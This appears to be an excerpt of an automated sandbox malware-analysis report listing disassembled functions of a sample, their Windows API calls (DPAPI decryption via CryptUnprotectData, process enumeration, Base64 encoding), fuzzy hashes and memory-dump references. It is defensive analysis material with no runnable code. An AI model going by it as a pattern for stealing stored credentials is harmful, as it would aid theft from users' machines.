Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 044906c70716d6c9e4f3f017141667e0001202e9ef5c4456216be57deeb9db64
Instruction ID: 6402aa170e0894e65fa6103ee2bc0a37396b474bcfd85b6ab41c772c6bbb0deb
Opcode Fuzzy Hash: 044906c70716d6c9e4f3f017141667e0001202e9ef5c4456216be57deeb9db64
Instruction Fuzzy Hash: 3A21DFB5D14208ABCF44EFE4D9459EEB7B6FF48300F04856EE51AE3250EB346605CB69

Function 00467240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0046724D
RtlAllocateHeap.NTDLL(00000000), ref: 00467254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00467281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 004672A4
LocalFree.KERNEL32(?), ref: 004672AE

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 1fc0e15e8e9dd471d46758bc07de5cbf66becb9e98edc4a5fd1e10583152d794
Instruction ID: d0af482d3d6458cecc34919a70b42974c96500ce112393a6fc19df1ac9a1f487
Opcode Fuzzy Hash: 1fc0e15e8e9dd471d46758bc07de5cbf66becb9e98edc4a5fd1e10583152d794
Instruction Fuzzy Hash: 3F0100B5A40208BBDB10DFD4CD45F9E77B9AB44B04F104555FB05AA2C0D774BA01CB66

Function 00479600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0047961E
Process32First.KERNEL32(00480ACA,00000128), ref: 00479632
Process32Next.KERNEL32(00480ACA,00000128), ref: 00479647
StrCmpCA.SHLWAPI(?,00000000), ref: 0047965C
CloseHandle.KERNEL32(00480ACA), ref: 0047967A

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 58557afe91be926143424cfe7e55dbea37c365a8d24e678008722ff552e39980
Instruction ID: 2dafbae89f9dc876e26182dab14b2ac15c804c3ef6ea951b08930d7c3ecec42c
Opcode Fuzzy Hash: 58557afe91be926143424cfe7e55dbea37c365a8d24e678008722ff552e39980
Instruction Fuzzy Hash: 7C011E75A00208EBCB15DFA5CD48BEEB7F9EB48300F10828AA90A97240D738AF45CF51

Function 0083175A Relevance: 6.6, Strings: 4, Instructions: 1645COMMON

Download Yara Rule

Strings

=m>, xrefs: 00831ACA
jQ+<, xrefs: 00831F1E
!kv, xrefs: 0083227E
^o], xrefs: 00831E03

Memory Dump Source

Source File: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !kv$=m>$^o]$jQ+<
API String ID: 0-824214078
Opcode ID: 052f6b18038a68d335fea7c02112cb997dd5f8613ad883d2068c85ee814e5c03
Instruction ID: 9445457019fc6aff9cf5c4a60815e64682d0587213162a2f38c4654f85c96903
Opcode Fuzzy Hash: 052f6b18038a68d335fea7c02112cb997dd5f8613ad883d2068c85ee814e5c03
Instruction Fuzzy Hash: 5EB229F3A0C214AFE3046E2DEC8567BBBE9EFD4620F1A453DEAC4C3744E57598018692

Function 00478EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00465184,40000001,00000000,00000000,?,00465184), ref: 00478EC0

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: b929bdcc1f425b4ca6a159c48f10760bc50cfe6ef8e87ca48bb643831f224e31
Instruction ID: f78b70e1b7429f98fa02f03cf4c5000eac8c4801a0ce16447a2478282081a7bb
Opcode Fuzzy Hash: b929bdcc1f425b4ca6a159c48f10760bc50cfe6ef8e87ca48bb643831f224e31
Instruction Fuzzy Hash: 48110A70240205AFDB00DFA4D888FAB33AAAF89714F10E549F9198B250DB39E841DF65

Function 00477A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00E8DA40,00000000,?,00480E10,00000000,?,00000000,00000000), ref: 00477A63
RtlAllocateHeap.NTDLL(00000000), ref: 00477A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00E8DA40,00000000,?,00480E10,00000000,?,00000000,00000000,?), ref: 00477A7D
wsprintfA.USER32 ref: 00477AB7

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 29db0a76c5ece4b8b0f44d8bec1eaf980bb24c652c5781b262b3e394886e013f
Instruction ID: 3e518c5ca2fc0acc09700d27725b686db9c352735568c3ca49dffaf8745e8c67
Opcode Fuzzy Hash: 29db0a76c5ece4b8b0f44d8bec1eaf980bb24c652c5781b262b3e394886e013f
Instruction Fuzzy Hash: C81182B1945218DBEB209F54DC45F99B778FB05711F1047DAE90A932C0C7786E40CF55

Function 00473720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0047E118,00000000,00000001,0047E108,00000000), ref: 00473758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 004737B0

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 9bd8d2dad7d55ef82cbd4d9c92155cdccd7603e0f68319a068869ac49009372d
Instruction ID: 40f89dcfd4bee8ee1e5e89e3de85479f6d9598a78233cf68863449dbf93515e1
Opcode Fuzzy Hash: 9bd8d2dad7d55ef82cbd4d9c92155cdccd7603e0f68319a068869ac49009372d
Instruction Fuzzy Hash: C7410770A00A289FDB24DF58CC95BDBB7B5BB48306F4081D9E608EB290D771AE85CF51

Function 00469B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00469B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00469BA3
LocalFree.KERNEL32(?), ref: 00469BD3

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 58871e53e6618eee25a24afb3f3c05bc8c8d8b21c40c1e96abcf8756a4a91602
Instruction ID: 2bb95dc413f865b69bde54ac921f547ab4f6753b1740f467acb35706008ae465
Opcode Fuzzy Hash: 58871e53e6618eee25a24afb3f3c05bc8c8d8b21c40c1e96abcf8756a4a91602
Instruction Fuzzy Hash: 9311C9B8A00209EFDB04DF94D985AAFB7B9FF89700F104599E915A7350D774AE10CFA2

Function 0082C50D Relevance: 4.2, Strings: 2, Instructions: 1665COMMON

Download Yara Rule

Strings

r^, xrefs: 0082CC83
MU, xrefs: 0082CAE1

Memory Dump Source

Source File: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID:
String ID: MU$r^
API String ID: 0-3269954404
Opcode ID: d24695b936d24290f46b545f1884aa233a65042747edc6b5720ee73ef3a7578a
Instruction ID: 8c3b0b5f35b115e31e8a8cf1b39f4377721f2e7d62c11c572fe2fafc8f9d8f25
Opcode Fuzzy Hash: d24695b936d24290f46b545f1884aa233a65042747edc6b5720ee73ef3a7578a
Instruction Fuzzy Hash: 5DB229F3A0C2049FE3046E2DEC8567ABBE9EF94320F16493DEAC4C7744EA3558458697

Function 007866B3 Relevance: 4.0, Strings: 3, Instructions: 219COMMON

Download Yara Rule

Strings

#d.o, xrefs: 007868D2
#d.o, xrefs: 007868C4
S'n], xrefs: 0078679E

Memory Dump Source

Source File: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #d.o$#d.o$S'n]
API String ID: 0-1842126938
Opcode ID: c3fbcc7fae8351a59e645d56b87fec0fe0117d524581411100477f71d5146655
Instruction ID: f87cef14687fa60ef9105b53a33fce936e6fb4d9c3c916408a4cfeb4f6fc2f1e
Opcode Fuzzy Hash: c3fbcc7fae8351a59e645d56b87fec0fe0117d524581411100477f71d5146655
Instruction Fuzzy Hash: 646123F3A082005BE70C6E3DEC9977ABAD6DBD5320F1B463DA795C77C0E93848058296

Function 00834CDE Relevance: 2.9, Strings: 1, Instructions: 1650COMMON

Download Yara Rule

Strings

wY, xrefs: 008354BD

Memory Dump Source

Source File: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID:
String ID: wY
API String ID: 0-526496422
Opcode ID: 205f2ea0c0d683df2366fa61ee9b1c8fee7cb1f641e67760fc5ce8b0227243d6
Instruction ID: 01f55dc64fd82fed32067a8d0d56c9eaa02a41593a691b15f78f7e46d3f904bd
Opcode Fuzzy Hash: 205f2ea0c0d683df2366fa61ee9b1c8fee7cb1f641e67760fc5ce8b0227243d6
Instruction Fuzzy Hash: B9B228F360C6049FE304AE2DEC8567AF7E9EF94720F16493DEAC4C3740EA7598058696

Function 0082E095 Relevance: 2.8, Strings: 1, Instructions: 1599COMMON

Download Yara Rule

Strings

r>y, xrefs: 0082E1D7

Memory Dump Source

Source File: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID:
String ID: r>y
API String ID: 0-3173497869
Opcode ID: f287669d1038235c5982cf4779a92483f723e06df1000467b13736cdc343c2ec
Instruction ID: 43dead98bc2ab33dd957dc5f9b3f5f8fbdbf85860bb0693212688404aba78b8b
Opcode Fuzzy Hash: f287669d1038235c5982cf4779a92483f723e06df1000467b13736cdc343c2ec
Instruction Fuzzy Hash: EAB2D9F390C2049FE304AE29DC8577ABBE5EF94720F1A892DE6C4C7744EA7598058787

Function 00815178 Relevance: 2.8, Strings: 2, Instructions: 254COMMON

Download Yara Rule

Strings

*9, xrefs: 00815366
^r}, xrefs: 0081529F

Memory Dump Source

Source File: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *9$^r}
API String ID: 0-1379781516
Opcode ID: e88d2f7116b3380c62c5947fef681ebffa157fd25a692122a1f5cb06ddf35917
Instruction ID: ed75f4c1d718d70500e15f0643bf50e16b0f248a95cbe396d9b29ef248015337
Opcode Fuzzy Hash: e88d2f7116b3380c62c5947fef681ebffa157fd25a692122a1f5cb06ddf35917
